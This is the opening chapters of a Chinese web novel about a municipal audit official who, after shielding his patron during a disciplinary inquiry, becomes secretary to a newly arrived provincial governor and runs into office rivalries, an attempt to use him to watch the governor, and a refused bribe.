《权力巅峰:从省府秘书开始》 第1章 仕途迷茫 “李承同志,你可以离开了。” “谢谢。” 走出纪委大门,李承站在傍晚的街道上,看着手机上的日期,神情恍惚。 二十三号,下午四点二十分。 距离自己被纪委带走已经过去九天。 这九天对于李承来说,是人生的至暗时刻,是精神和身体的双重折磨。 留置室里没有时间,没有阳光,让人分不清外面是白天黑夜,时间是几点,过去了几天。 上厕所的时间是被限制的,二十四小时是有人看守的,屋内只有一个专用安全椅和一张床。 安全椅一坐就是十几个小时,没有任何消遣的方式。 度过煎熬了呆坐,可以躺床上睡觉时,总有人在熟睡时喊醒,进行突击审讯。 这种肉体上的折磨很痛苦。 更让李承痛苦的,是对外界情况的担忧。 年迈的父母是否知情而焦急,单位的竞选情况如何,还有,杨兆华副书记到底有没有贪污,自己这样的选择到底对不对? 李承是汉江市审计局的企业审计处的一级主任科员,正科级干部,主管国有企业财政监督审计工作。 一个月前,企业审计处的副处长退休,岗位空缺。 李承业务能力强,有过突出功绩,是提拔的最佳人员。 可偏缝这个阶段,自己的老领导,原审计局局长,现汉江市市委副书记杨兆华出了事,被纪委立案调查。 国有企业金河集团总经理王波实名举报,三年前行贿当时还任职审计局局长的杨兆华二十万现金。 杨兆华之口否认,李承作为那场饭局的唯一见证人,成为了调查关键。 李承清晰记得那场饭局,王波送杨兆华的茶叶盒还是李承帮忙提上的车。 至于里面装的是钱,还是茶叶,李承不清楚。 其实,只要李承坦白交代实情,当天就能被释放,他也可以正常参选副处提拔。 但杨兆华对他有知遇之恩。 李承能从一个普通科员,短短五年时间提到正科,能力是一方面,最重要的一点,是遇到了杨兆华这位伯乐。 官场如战场,三年前的事情被挖了出来,王波不惜得罪一位实权领导,也要实名举报,这其中肯定另有阴谋。 李承的一句话,很可能就会毁掉杨兆华的政治前途。 所以,在纪委的九天里,对于那盒茶叶的事情,他选择了‘不知情’ ‘没看见’的回答。 这也导致他被滞留九天,错过了副处的晋升机会。 拿起手机,李承的第一个电话不是打给家里报平安,而是拨通了同事陈思琪的号码。 “李科,你出来了。”电话接通,陈思琪语气平淡。 陈思琪是李承的下属,从入职起,一直是李承在带她。 平日里,她会亲切的喊李承为师父,尤其是在听说李承有机会提拔副处后,对李承更加殷勤,还多次对李承抛出过‘暧昧’的示意。 可今天,她的语气和称呼都变了。 李承心中明悟,副处已经有了人选,陈思琪这是急于与他撇清关系。 “嗯,出来了。” 李承应了一声,问:“副处的提拔有结果了吗?” “有结果了,以后我们得管陆涛哥叫陆处长了。” 陆涛和李承同为企业审计处,只不过,陆涛是二级主任科员,虽同为正科级,但在职位层次上,李承这位一级主任科员是要压他一头的。 陆涛为人阴险算计,时常在背后跟领导打李承的小报告,颠倒黑白,两人关系并不好。 为了讨好李承,陈思琪不止一次说过陆涛的坏话,假装替李承打抱不平。 可现在,陆涛升任副处,陈思琪立刻变了一副嘴脸。 “知道了。” 李承应了一声,直接挂断了电话。 老对手陆涛成了顶头上司,李承知道,自己以后的日子不好过,除非调走,否则再想晋升也必定会遭受打压,仕途一片迷茫... ‘我的爱如潮水,爱如潮水将我向你推....’ 正当李承为日后工作而感到无奈时,手机响了起来。 掏出手机,看到屏幕的来电显示,他一怔:杨兆华副书记。 难道老领导他也出来了? 没多想,李承快速接起电话:“老领导。” 工作时间喊职务,私底下,李承会称呼杨兆华为老领导,表明杨兆华在他心中的位置,也拉近彼此关系。 “说话方便吗?”杨兆华问。 “方便。” “小承,这几天让你跟着受苦了。” 杨兆华确定李承是一个人,换了亲切的称呼,语重心长。 想来,对于李承在纪委的表现,他已经知情。 “老领导言重了,我只是做了自己该做的。” 李承也不邀功。 杨兆华能当上市委副书记,谁是谁非,他心里明镜着呢。 如果李承急于坦述自己在纪委的忠心表现,反倒会让杨兆华觉得他目的性很强,从而降低好感度。 “晚上八点,来一趟家里,不要早,也不要晚。” “好,我一定准时到达。” ..... 以前同在审计局工作时,李承曾去杨兆华家里做过几次客,对于位置轻车熟路。 八点,李承准时敲响了杨兆华家的房门。 ‘咚咚咚...’ 半分钟后,房门打开,杨兆华亲自开的门。 “老领导。” 李承打了声招呼,进屋带上了门。 “这几天,憔悴了不少呀。” 杨兆华伸手在李承的肩膀上拍了拍,道。 这种亲密举动让李承知道,两个人的关系,因为这件事更进一步。 “领导,您看起来也憔悴了,要注意身体。” 此言一出,两个人有了一种惺惺相惜的感觉。 很难有人在纪委审讯室里能过得踏实,整天活在焦虑惶恐中,还得不到好的休息,这也导致两人看起来都仿佛苍老了几十岁。 杨兆华比李承早出来一天,已经官复原职。 如若不然,李承或许还要在纪委‘住’上一段日子。 “都过去了,进屋。” 走进客厅,沙发上坐着一位年龄与杨兆华相仿的男人。 男人穿着一身休闲装,国字脸,他就静静的坐在那里,却给人一种不怒自威的震慑力。 “小承,给你介绍一下,这是我的老同学,孟良德。” 听到这个名字,李承微微一怔。 孟良德,难道是那位空降来的新任省长? 第2章 二号首长 “孟省长好。” 李承虽未见过孟良德,想来也八九不离十。 他恭敬的打了个招呼,却并未主动去与其握手。 毕竟,两个人身份悬殊。 “嗯。” 孟良德用鼻音应了一声,目光落在李承的身上。 只是一眼,李承就感觉自己仿佛被他看穿了所有心思。 “这是家里,不用这么拘束,过来坐。” 杨兆华对李承招了招手,示意他坐下。 “好。” 茶几上的水壶还在烧水,李承看了一眼紫砂壶,里面装上了茶叶,还未冲泡过。 看来,孟良德也是刚到不久。 李承挑了一个靠近水壶,又与两位领导距离相对较远的偏位坐下,上身挺直,也只敢半个屁股坐在沙发上。 两人,一位是新任东江省省长,正部级干部。 一位是副省级省会城市的市委副书记,正厅级干部。 李承一个小小正科,坐在这两位大人物身边,如坐针毡。 ‘叮’ 李承刚坐下,水壶的水便已经烧开。 他微微欠起身,拿起烧水壶,沿着紫砂壶壁,缓慢轻柔的倒入沸水。 这种做法,是为了避免沸水直冲茶叶,保护茶叶完整性,减少茶汤浑浊。 倒入水后,他又将紫砂壶里的醒茶水倒进茶盘,重新沏茶。 待到沸水在茶壶中静止十秒后,李承端起紫砂壶,将茶汤倒入公道杯中。 一股浓郁的复合香气随之扑鼻而来。 紧接着,李承再用公道杯分别给孟良德与杨兆华倒茶。 整个过程行云流水。 看似很轻松,但其中讲究颇多,每种茶叶的冲泡方式也不同。 “小伙子看起来很懂茶呀?” 孟良德端起茶杯,轻轻抿了一口。 “小时候我爸在老家开过茶楼,耳濡目染,懂一点。”李承微笑回道。 “你老领导说这是他珍藏多年的好茶,你也给自己倒一杯,尝尝他是不是糊弄我这个外行。” “高培火的大红袍,从干茶时的外观,还有冲泡时的香气和汤色来看,这茶差不了。” 对于懂行人来说,看和闻,就能分辨出茶的好与坏。 但孟良德开口了,李承也给自己倒了一杯,抿了一小口后,他以玩笑的语气称赞道:“好茶,看来老领导是把压箱底的宝贝拿出来了。” 这句话,看似玩笑,实则也是替杨兆华表明他对孟良德到来的重视程度。 “你别听老孟忽悠你,他呀,自己就是位品茶高手,好茶孬茶他闻闻就知道。” 杨兆华说完,又开了李承一句玩笑:“你爸开茶楼,当初去封兰的时候,怎么没请我去坐坐,不舍得呀?” 封兰市是李承的老家,当初审计一家国企公司时,两人一同去出过差。 “我爸的茶楼没开几年就倒闭了,他去南方打工的时候,看着遍地茶楼,心思这是发展趋势。 结果是风土人情不同,南方人谈生意喝茶,咱北方人谈生意喝酒,生意那叫一个惨淡,现在也改行卖烧酒了。” “呵呵...” 李承一番话后,孟良德和杨兆华的脸上都浮现了微微笑容。 “老孟,我给你介绍这个秘书,还合你的胃口吧。”气氛在杨兆华的引导下,舒缓下来,他也直奔主题。 当听到杨兆华把自己介绍给孟良德当秘书时,李承内心震惊之余,又是狂喜。 但喜悦之色被他掩饰的很好。 在官场时,喜怒不形于色是基本要领,尤其是在领导身边做事,更要有城府,懂分寸。 何况,孟良德还没表态,也不能高兴的太早。 “做秘书和做茶师是两码事,合不合适,不是靠嘴喝出来的。” 孟良德将杯中茶水喝光,将杯子倒扣,这是表示准备离开。 这番举动让李承有些失落,看来,对方并不买杨兆华的账。 但他还是很感激杨兆华能为他争取这次机会。 “时间不早了,明天我会让办公厅通知审计局。”孟良德站起身,目光看向李承,说。 “谢谢孟省长。” 李承失落的情绪再次被点燃,他知道,孟良德同意了他这位秘书。 “别谢我,谢你的老领导吧,今晚这杯好茶,我是借你光喝的,呵呵呵...” 孟良德这话是在调侃杨兆华,为了李承才肯拿这么好的茶招待他。 “老孟,你这么讲就好像我很抠门一样。”杨兆华当然听出话中调侃,笑着回应。 “你抠门,是当年整个法学系公认的。” 在老同学间的玩笑中,两人将孟良德送了出去。 孟良德走后,李承也算是松了一口气,对杨兆华真挚的感激道:“老领导,您费心了。” 李承清楚,从打电话通知,再到烧水泡茶的时间,都是杨兆华精心安排的。 目的就是促使李承投其所好,在茶道方面,获得孟良德的好感。 “这是你自己争取到的,你人品不过关的话,任凭我磨破嘴皮子,他也不会用。 老孟上一个秘书,就是因为背着他搞小动作,才被剔除的。” 茶道只是一块敲门砖,真正让孟良德看中的,是李承宁愿牺牲自身利益,也不出卖老领导的忠心。 作为领导,尤其是空降过来,没有班底的领导,身边有一个值得信任的人,很重要。 “省长的秘书,尤其是空降省长的秘书,没那么好做,诱惑和危险都很多,你自己注意分寸。” “我明白。” 在官场上,一直流传一个很有意思的名词,叫‘二号首长’ 省级领导班子里,首长是省委书记,二号首长其实是孟良德这位省长。 但流传中的二号首长,通常用于称呼首长的秘书。 省级领导体系中,省委书记是首长,可在省政府领导班子里,省长就是首长。 省长的秘书,那就是省政府体系中的‘二号首长’ 或许在常人眼里,秘书的工作就是端茶倒水,处理文件,统筹首长的日常行程,协调、联络各级部门等服务类工作。 没有什么实权,配不上‘二号首长’的称谓。 实则不然。 秘书是首长的防火墙,也是首长的嘴巴,眼睛和耳朵。 首长所有的指示由秘书传达,是首长与下属部门之间无可替代的枢纽。 所有递给首长的文件,需要首长知晓的信息,几乎都要经过秘书。 秘书可以决定信息呈现的顺序,时机和方式,在某种程度上,这足可以影响最终决策。 这种独一无二的特权,称得上省政府当之无愧的‘二号首长’ 能当孟良德的秘书,对于李承来说,这就是一步登天! 第3章 跳梁小丑 次日。 李承照常来到审计局上班。 他刚踏进办公室,原本相对和谐的气氛变得死寂起来,曾经那些热情的招呼声没有了,所有人都对他避之不及。 官场的人情冷暖,在这一刻体现的淋漓尽致。 李承也不在乎,马上他就要离开这里了,他倒是巴不得这些人别沾边。 “李承,来我办公室一趟,我有话问你!” 就在李承屁股刚坐在椅子上时,一道带有训责味道的声音,传了过来。 是陆涛! “有什么话,在这说。” 李承瞥了一眼陆涛那小人得志的作态,很是反感。 “我看你是老同志了,想给你留点面子,你自己不要是吗?”陆涛双手抱胸,审视着李承。 “面子是自己挣的,不是别人给的,有话快说,有屁快放!” 以前,李承顾及同事关系,抬头不见低头见,对于陆涛在背后搞他那些小动作,只要不涉及底线,也就睁一只眼闭一只眼。 但现在,李承没什么好顾及的。 “你跟我说话什么态度,你知不知道,现在我是你的领导!” 陆涛本以为自己升职副处后,以前总是压他一头的李承,会乖乖俯首称臣。 他不敢相信,李承居然还敢用这种语气顶撞他。 这让他有些失望,从而更加恼火。 “李承,你被纪委调查,不知悔改还顶撞领导,我看你是不把组织纪律放在眼里,像你这种人品败坏的人,根本不配再负责任何审计项目! 从今天起,以后档案管理归你负责!” 档案管理属于养老工作,如果不调走的话,很难有晋升空间。 陆涛这是摆明了要狠狠整治李承,要断了他的晋升之路。 若是昨晚没有见孟良德,或许李承还会有所顾忌,但现在.... “陆涛,公报私仇也太操之过急了吧,你就不怕我有朝一日,我时来运转吗?” 李承翘起二郎腿,玩味的看着陆涛。 在他眼里,现在的陆涛不过是跳梁小丑。 “就凭你一个被纪委调查过的劣迹公务员,还想时来运转?哈哈哈。” 陆涛讥笑一声,目光看向正在整理和归档的两位档案员:“小刘,你们两个不用弄了,那些资料搬过来,让李科亲自归档,给他熟悉熟悉工作。” 在陆涛的吩咐下,一沓沓厚重的档案搬到李承的办公桌上。 “李科,归档也是门技术活,要不我给你找个师父教你吧,小刘怎么样?” 陆涛的手拍在档案上,眼神戏谑的盯着李承。 他让一位正科级干部叫一个普通科员为师父,这是赤裸裸的侮辱! “陆涛,你干什么呢?” 就在这时,副局长刘保国走进企业审计处办公室。 “刘局,您来的正好,李承他不服从工作,还威胁辱骂领导,这种人,我看应该给予处分!” 见到刘保国,陆涛立刻汇报起李承的‘恶行’。 他觉得,自己是新晋升的副处长,未来潜力无穷,而李承将被边缘化,刘保国一定会站在他这边,训斥李承。 “陆涛,你刚上任就开始欺压前辈,把办公室搞得乌烟瘴气,我看你是得意忘形了,待会到我办公室写检讨!” “刘局,我...” 被刘保国劈头盖脸的训斥一番,陆涛懵了,这跟他预想中的画面完全不一样。 但他也不敢反驳。 “李承同志,我一直很看重你,也想提拔你,可惜啊,副处提拔时你在接受纪委调查,让你错失了这次机会。” 刘保国走到李承面前,笑容格外温和:“好在,是金子总会发光,我刚接到省政府办公厅的通知,孟省长亲自点名让你做他的秘书,好好珍惜这次机遇,快去吧。” 当刘保国这番话讲出,在场所有人都为之一怔。 反应最大的莫属陆涛,他愣神片刻后,脚步不稳的退后了半步。 看向李承的目光里,不再是之前的得意和嚣张,而是一种浓浓的畏惧。 他终于明白,为什么李承刚才会是那种玩世不恭的态度,原来,真正的小丑是自己! “谢谢刘局。” 李承从椅子上站起身,朝门口方向走去。 “李科..我...” 当李承路过陆涛身边时,陆涛结结巴巴的开口,想要缓和关系。 “陆涛,好好工作,可千万别犯什么错误。” 李承意味深长的留下这句话‘忠告’后,出了办公室,留下傻愣在原地,不知所措的陆涛。 “师父。” 他刚走出办公室的门,陈思琪就追了上来。 她一把抱住李承的胳膊,故意用丰满的上身去蹭:“师父,我就知道你最厉害了,以后当了孟省长的秘书,可千万别忘了我哦。” “你别叫我师父,还是叫我李科听着踏实。”李承抽出胳膊,冷冷的说。 “师父,你别生气,我也是人在屋檐下嘛,这样,我晚上请你吃饭,给你赔不是好不好。” “我没空。” 陈思琪那墙头草的嘴脸,已经让李承寒了心,他不想再跟这种人扯上半点瓜葛。 甩手而去。 ..... 出租车停在省政府门口。 省政府的安保工作很严格,做好实名登记后,李承又按照刘保国给他的号码,给综合一处的张处长打去一个电话,门卫这才放行。 进入大院。 李承沿着幽静的树丛小路,寻找三号楼方向。 省政府设有二十多个处室单位,李承要去的综合一处,在三号楼的二楼。 “你就是李承同志吧?” 刚踏进综合一处,一位年近五十岁的秃顶男人站在门口,见到李承进门后,脸上挤出笑容。 “我是。” 李承微微一笑,问:“您是张处长吧?” 两个人刚通过电话,从声音分辨,李承推测这人是自己要找的张处长。 “嗯,首长在开会,你先到我办公室等一会儿。” “好。” 进入办公室,张处长亲自给李承倒了一杯水,笑容殷勤:“本来是秦秘书长要亲自接待你的,但他还有其他工作安排,抽不开身,特意让我在门口等你。” “张处长亲自迎接已经让我受宠若惊了,哪敢打扰秘书长。” 李承接过张处长递来的一次性水杯,道了声谢:“谢谢。” “我们综合一处就是服务孟省长的,你做了孟省长的秘书,我们就是同事,不用太见外。” 张处长坐在李承的对面,脸上挂着温和的笑容。 “张处长,以后工作上,还要多跟您请教了。”李承道。 “不碍事,首长的工作安排容不得半点马虎,不怕你问,就怕你不问,黄秘书就是因为给首长的行程安排失误,才被调职。 所以,关于首长每天见了什么人,去了哪里,只要不在计划表上的,你都要跟我实时汇报。 我好调动综合一处,随时做出工作调整的准备,避免出现类似失误发生。” “明白。” 听到这句话,李承心头一沉,还是开口应下。 但他感觉眼前这位人畜无害的张处长,是想让自己监视孟省长.... 第4章 交接 “早上跟你们刘局通电话的时候,他说你是一个聪明能干的小伙子,做秘书,就需要聪明人。 作为前辈,我也要忠告你一句,首长任职期间积累好人脉,等首长调任之后,才能有一个好出路。 你懂我的意思吧?” 张处长笑盈盈的盯着李承,话中之意,蕴含杀机。 他不是忠告,而是警告。 李承听得明白,他是想让自己听话办事。 毕竟,孟良德这位空降省长任期结束后是要离开的,而李承还要在东江省工作。 得罪了这些人,等孟良德离开后,李承的仕途将会面临难关。 还没有正式参与秘书工作,李承就已经感受到了杨兆华口中的诱惑与危险,这以后的路,或许更难走。 “我懂,多谢张处长提点。” 李承表面答应下来,但心里并不打算照做。 孟良德上一个秘书被剔除,大概率就是因为与这群人勾结。 李承很清楚一点,紧跟首长的步伐,至少能风光五年,跟这群人勾结,可能几天就被孟良德踢出局。 离开了省长秘书的职位,张处长这些人还会管他吗? “嗯,会议快结束了,我带你去办公室。” 张处长满意的点了点头,带着李承来到了省长秘书专用办公室。 办公室大概二十平米,配备办公桌,文件柜,电脑,打印机,饮水机等设备。 此时,一个年龄稍长李承几岁的男人,正坐在办公桌前。 “黄秘书,这是孟省长的新任秘书,你跟他做一下工作交接。”张处长道。 黄秘书就是被孟良德亲自剔除的秘书。 但在新秘书交接之前,他还是要继续服务省长的。 “好。” 黄秘书情绪低落的应了一声,看向张处长的目光中,有几分畏惧,也有几分怨恨。 简单交接工作后,黄秘书就离开了。 李承看了一眼孟省长的行程表,知道,会议即将结束。 他拿起水壶,烧了一壶热水后,又打开了饮水机下面的储物柜,果不其然,里面有两罐茶叶。 李承拿了出来,闻了闻,便知道哪个是给首长喝的,哪个是招待来客的。 孟省长对于喝茶是很有讲究的,李承第一天当秘书,并不了解孟省长的喝茶习惯,不敢贸然泡茶。 于是他拿了一个一次性纸杯,装了一份茶叶出来。 这是金骏眉,适合八十度的水来冲泡,刚好,等待首长回到办公室,烧开的沸水也能降到八十度左右。 ‘咯吱’ 几分钟后,李承听到孟省长办公室传来开门声。 他也端起水壶和茶叶,通过秘书和省长办公室之间的门,进了办公室:“孟省长。” “来了。” 孟良德坐在会客沙发上:“过来坐。” “好。” 李承走到会客区域,先是站着替孟良德沏茶。 在放置茶叶的过程,他时刻留意着孟良德的表情,直到孟良德眉头微挑,他才停下放置茶叶的动作。 心里也默默记下这个克度。 给孟良德泡好茶,李承这才坐了下来。 首长叫自己坐下,一定是有话要说,李承端坐在沙发上,等待对方开口。 “黄秘书你刚才见过了吧?”孟良德端起茶杯,吹了吹上面的热气。 “见过了。”李承道。 “觉得他怎么样?”孟良德问。 “接触时间不长,感觉不像是油头滑面的人。” 领导问前秘书的事情,定然是在做铺垫。 而李承说的,也只是短暂相处时的客观评价。 “嗯,他做事倒是勤勤恳恳,但少了些魄力,容易心智不定,左右摇摆。”孟良德抿了一口茶水,说。 “昨晚刘副书记说,做首长秘书是一件诱惑和危险并存的差事,上午这一会儿就让我领教了。” 李承想了想,还是准备将张处长的事情说出来。 既然做了首长的秘书,那就要跟首长保持一条心,这样,即便未来出了事,还有首长保。 如果左右摇摆,幻想着互不得罪,最后只能落得黄秘书那种‘两头厌’的下场。 从昨天李承第一次见孟良德时,他就深知一点,在孟良德面前最好不要说谎,也根本骗不了他。 “说说吧。”孟良德道。 “刚才张处长说,只要不在行程表上,无论您见了什么人,去了哪里,都要让我第一时间跟他汇报,方便他做出工作调整。 我总觉得这像是让我监视您,也不知道是不是我太敏感了。”李承如实说。 “你想的没错,他们就是在监视我。” 孟良德面色严肃,犀利的目光落在李承身上:“并且,我可以很明确的告诉你,从省政府到省委,再到下属各级单位,都有我的敌人。 作为我的秘书,面对的考验和危险会更多,你现在反悔还来得及,不至于到黄秘书那一步。” 孟良德直接将他所面临的境况表明,他也是不想在选秘书上面,浪费太多时间。 李承很清楚,孟良德这是给他打好提前量。 一方面,是告诉自己,作为空降派,孟良德面对的敌人很多,这些人不敢对省长下手,但未必不会针对他这位省长秘书。 另一方面,也是一种警告。 孟良德把一切摆在台面上,如果李承再有不忠之举,他也不会念及杨兆华的情份。 “首长,我愿意跟在您身边效力,我有这个决心。”李承坚定的保证道。 “嗯。” 闻言,孟良德点了点头,问:“你知道我为什么最终决定选你做我的秘书吗?” 面对孟良德的询问,李承陷入短暂沉思。 杨兆华的推荐? 自己在纪委对杨兆华的忠心? 不。 这些只能算是加分项,孟良德能这么问,就证明其中另有原因。 “因为我有审计局工作多年的经历?”李承小心翼翼的说。 孟良德的主管部门是审计厅,这不禁让李承联想到自己的工作履历。 “没错,你在企业审计处工作这些年,觉得咱们东江省的国有企业怎么样?”孟良德再次问。 “不敢说全部,普遍存在问题,一小部分甚至已经烂入骨髓,尤其是那几个大企业,仗着有背景,已经到了无法无天的地步!” 第5章 许梦 孟良德是喜欢打直球的领导,跟他讲话,李承也就不再委婉,直言不讳说出了他眼中的东江省国企。 “打个比喻。” 孟良德抿了一口茶,说。 “就拿去年调查的东江化工来说,一千三百万,买了一桶偏硅酸钠和一桶大苏打,多可笑啊。 可就是这么漏洞百出的企业,偏偏在审计过程中被叫停。” 李承耸了耸肩,谈及此事时,脸上没有愤怒,而是一种习以为常的平静。 这些年,李承从事企业审计工作中,其实有过多次突破性进展,但大部分都没有个结果。 调查阻力很大,每个企业的背后,都有一张庞大的关系网。 “小李,我们要面对的敌人,就是这些企业背后的老虎!” 孟良德眼神深邃,在他的眸子中,李承似乎感受到了一种对于未知的担忧。 “首长,无论面对谁,我都跟在您身边。” “嗯。” 孟良德放下茶杯,看了一眼时间,问:“上午还有什么行程安排?” “十五分钟后,审计厅的王前副厅长来汇报工作,十点半,是金河粮业总经理刘凯。” 对于首长的每日行程,身为秘书要谨记在脑子里,并且不能有半点差错。 “嗯,知道了。” 孟德良倚靠在沙发上,闭目养神。 李承也识趣的退出了省长办公室。 趁着这个空档,李承拿出了手机,刚才在省长办公室时,他的手机就在不停震动。 好在他关闭及时,孟良德也没留意。 看到手机屏幕时,李承都懵了,五十多条微信,还有几个未接电话。 以前他的手机从来没有这么忙碌过。 快速的翻阅,发短信和打电话的人,基本都是自己在审计局的前同事。 消息千篇一律,都是想跟他这位‘二号首长’拉近关系。 其中,甚至还有一条来自陆涛的道歉信,密密麻麻,看起来得有上千字。 ‘咚咚咚...’ 正在李承准备欣赏一番陆涛的文采时,办公室的门被敲响,一个中年男人推门而进。 “王副厅长,您来了。” 李承站起身,跟王前打了个招呼。 “你就是孟省长的新任秘书,李秘书吧,小伙子一表人才啊。” 王前走到李承面前,主动伸出手。 “谢谢王副厅长,省长在里面等您呢,进去吧。” 李承与王前握了握手,微笑示意他可以去见省长。 “咱俩加个微信,有时间一起去钓鱼。” 王前掏出手机,主动要求加李承微信,李承也没有拒绝。 “我现在的时间是属于省长的,有时间我联系您。” “好,我等你的消息,先进去了。” 看着王前那亲切的笑容,还有手机上对方的微信,李承轻轻摇头。 副厅级干部,这放在以前,是需要李承仰望的人物,如今却能亲切的主动与他握手,主动加微信,这就是身居要职的魅力。 他们敬重的不是李承,而是李承这个省长秘书的身份。 说句不好听的,这个位置就算是栓条狗来坐,他们也会如此对待。 ‘咚咚咚...’ 王前进去没几分钟,办公室的门再次被敲响。 但这次,对方并没有贸然推门进来。 “进。” 直到李承的许可后,一个西装革履的眼镜男,才堆着笑脸走了进来。 “李处长您好,我是金河粮业的总经理刘凯。”男人自我介绍道。 “刘总,请坐。” 李承示意他坐在接访区域后,给他倒了杯水:“孟省长在见客人,你先等一会儿。” “好的。” 刘凯接过水,喝了一口后,他左右环顾一圈,拉开了手包,从里面拿出一个信封。 “李秘书,一点小心意。” 说着,他就要将信封往李承的手里塞。 “不行,刘总,这个我不能收。”李承低声严厉的拒绝道。 “除了咱俩没人知道,李秘书,就是我的一份心,没别的意思。”对于李承的拒绝,刘凯依旧不肯罢休,强塞给李承。 在办公室不适合这种拉扯,刘凯又态度坚决,李承也只好暂时收下。 看到李承收了钱,刘凯以为跟李承已经拉近了距离,悄声问:“李秘书,孟省长叫我过来,是什么事呀?我也好提前有个心理准备。” “我刚接手工作,我不清楚。” 李承摇了摇头,婉拒了这个回答。 “哦哦,那我们加个微信,以后方便联系。” 刘凯拿出手机,主动去添加李承的微信。 李承也没拒绝,虽说,他并不打算收这一万块钱,可现在钱就在自己这里,总不能连这点面子都不给。 “李秘书,晚上有时间吗?一起喝点。”刘凯殷勤的冲李承使了一个眼色。 那是一种男人都懂的暧昧眼神,意思晚上是荤局。 “改天吧,晚上有安排。” 李承敷衍回复,他刚当上省长秘书,屁股还没坐稳,现在是万万不能有任何失态之举。 很容易引起首长的反感。 “好,我随时等待李秘书的消息哈。” 浅聊了一会儿,李承看了一眼手表上的时间,已经十点半。 李承站起身,敲了敲门后,走进省长办公室。 办公室内,孟良德还是与王前谈话,只是两个人的脸色都不太好。 仅有一墙之隔,孟良德刚刚的嗓门很大,他们的谈话,李承隐约间也能听到一 点。 孟良德在训斥王前。 “省长,金河粮业的王总已经到了。”李承提醒道。 首长的时间很重要,首长谈话时或许会忘记时间,做秘书的要起到提醒义务。 “嗯,让他进来吧。” 孟良德应了一声,王前则露出一副如释重负的表情。 “王副厅长,下周一我要看到你整改的结果。” “知道了,孟省长,那我先回去了。” 王前站起身,狼狈的离开了省长办公室。 王前走后,李承将刘凯叫了进来,给孟良德续水后,退出了办公室。 坐在椅子上,李承拿起手机随意翻开了几眼。 微信里已经有各种各样的祝贺消息,还有好友添加申请。 随意扫了一眼,一个人的消息引起了李承的注意。 许梦! 第6章 佳人邀约 许梦是省电视台的主持人,算得上公认的东江全民女神。 无论是样貌,声音,亦或是身材,堪称完美。 去年,省电视台与审计局联合开展过一档企业审计类专访节目,李承结识了许梦,两人加了微信。 但那档节目结束后,两个人没再有沟通。 美女会让人怦然心动,但是,李承还是有自知之明的。 当初的他,不过是审计局的一个科长,而像许梦这种新闻女神,身边的追求者无数。 富豪,高干子弟,甚至于某些大领导都想与她相交,李承一个科长,不起眼。 所以,他也从未主动打扰过许梦。 【李处长,听说您高升了,恭喜。】 许梦的祝贺很简短,并用了处长来称呼。 目前,李承还是正科,但已经调任为省长秘书,提升至处级,只是差个流程。 【谢谢。】 李承想了很久,删删减减后,只是礼貌回复了一句谢。 【明天是周末,有时间吗?我想请您吃个饭。】 很快,许梦的消息再次发来。 她的邀请就很有诚意,没有选择在工作日。 简单的两句话,就可以证明,这是一个聪明且懂分寸的女人。 【目前没有工作安排,没有变动的话,我联系你。】 李承早就想过与许梦有更多交集,对方主动,李承自然不会拒绝。 【好哒,我就恭候李处长的消息啦。】 许梦回复消息,配上一个可爱的表情。 【嗯。】 二十分钟后,刘凯走出了省长办公室。 相比于王副厅长的狼狈,他倒是平静中带着些许笑意。 这与李承预想的结果不太一样。 金河粮业是金河集团的下属子公司,李承推测,孟良德喊他来与杨兆华被金河集团诬陷相关。 可刘凯的表情并不凝重,这倒是让李承有些好奇。 只不过,作为首长秘书,要懂得分寸,有些事情不知道,反而对自己有好处。 “接下来还有什么行程?” 孟良德倚靠在椅子上,手指掐着鼻梁,闭眼休息。 “下午两点有一个经济发展会议,这期间三个小时暂时没行程。” 李承站在孟良德身旁,汇报的同时,伸手从口袋中拿出刘凯送给他的信封。 “省长,这是刚才金河粮业刘总强塞给我的,他太热情了,给他退回去死活不要,我第一天做秘书,也不知道该怎么处理。” 李承以一种请教的姿态,将刘凯的一万块钱放在办公桌上。 这种钱,李承是万万不敢收的。 但他也没有更好的处理办法,只能给孟良德,由他处理。 “生意人,就是愿意做投机的事儿。” 孟良德轻哼了一声,拿起桌子上的黑线电话,拨了一个号码过去。 在他的办公桌上一共有两部电话,一部是红线,一部是黑线。 黑线电话是用于普通办公。 而红线电话是专线保密电话,也被称为‘红机’。 “到我办公室来一趟。” 简单的一句吩咐后,孟良德便挂断。 ‘咚咚咚...’ “进。” 不到两分钟的时间,办公室门被敲响,张处长在得到许可后,走了进来。 “孟省长。” 他走到孟良德的面前,恭敬的道。 “这是金河粮业刘总的钱,你安排人给他送一下。”孟良德目光落在桌子上的信封上,说。 “是。” 张处长拿起信封,离开了办公室。 在临走之前,他的目光在李承身上停留了片刻,隐约间,李承感受到了一种不满。 “走吧,我带你去一个地方。” 张处长走后,孟良德也从椅子上站了起来。 “那我通知司机。” 孟良德是省部级干部,配有专职司机,不需要通过小车班调配,出行方面要方便很多。 在整个东江省,拥有专职司机的人屈指可数,只有达到省部级,才能有这个待遇。 “嗯。”孟良德应道。 得到孟良德许可,李承立即通知司机。 当李承与孟良德走出办公楼时,一台悬挂东A·00002黑色奥迪A6L已经停在了门口。 李承快走两步,提前拉开车门。 待到孟良德一只脚刚准备迈进车里时,他立马伸出手,悬停在孟良德的头顶,防止领导碰头。 孟良德坐稳后,李承关闭车门,坐进副驾驶。 给首长拎包,开车门,这些都是秘书的基本,尽管李承是第一天做秘书,这些他都是懂的。 “去东兴面馆。” 孟良德说出地址,司机开始使动汽车。 东兴面馆就是一个苍蝇小店,却颇为符合孟良德的口味,司机送孟良德来过,自然也是轻车熟路。 十几分钟后,汽车停稳。 李承率先下车,为孟良德拉开车门。 “小王,你先回去吧,待会儿我和李秘书散步回去就行。”孟良德对司机说。 “孟省长,我也没其他事,就在门口等您就行。”司机小王殷勤的笑着。 看似,他这是在表现对工作的任劳任怨,对领导的服务周到,实则,他的一番话,已经引起了孟良德的不悦。 专职司机和专职秘书都是服务省长的,省长又怎么可能会假客气呢? 省长让他走,自然有省长的安排。 “王师傅,省长一天工作繁忙,少有时间散步,今天正好不忙,你先回去吧。” 不得孟良德开口,李承率先打发道。 不能及时揣测到省长想法,再让孟良德开口,那么,不止是当司机的不懂事,他这个秘书也不称职。 “好,孟省长,李秘书,你们注意安全,走累了随时联系我。” 这一次,王师傅也反应过来。 待到孟良德下车后,他开车离开。 “老板,两碗抻面,一份拌牛肉。”进入面馆,孟良德说。 “好嘞,你们找地方坐。” 老板热情的应了一声,开始忙活着。 这个小面馆不大,却十分繁忙,基本已经坐满了人,只有角落有一个空桌。 “一会儿尝尝,他家的面,很有特色。”孟良德道。 “这么多人来吃,看着就不错,省长,您是怎么找到这么家小面馆的。”不谈工作话题,李承也就随意问了起来。 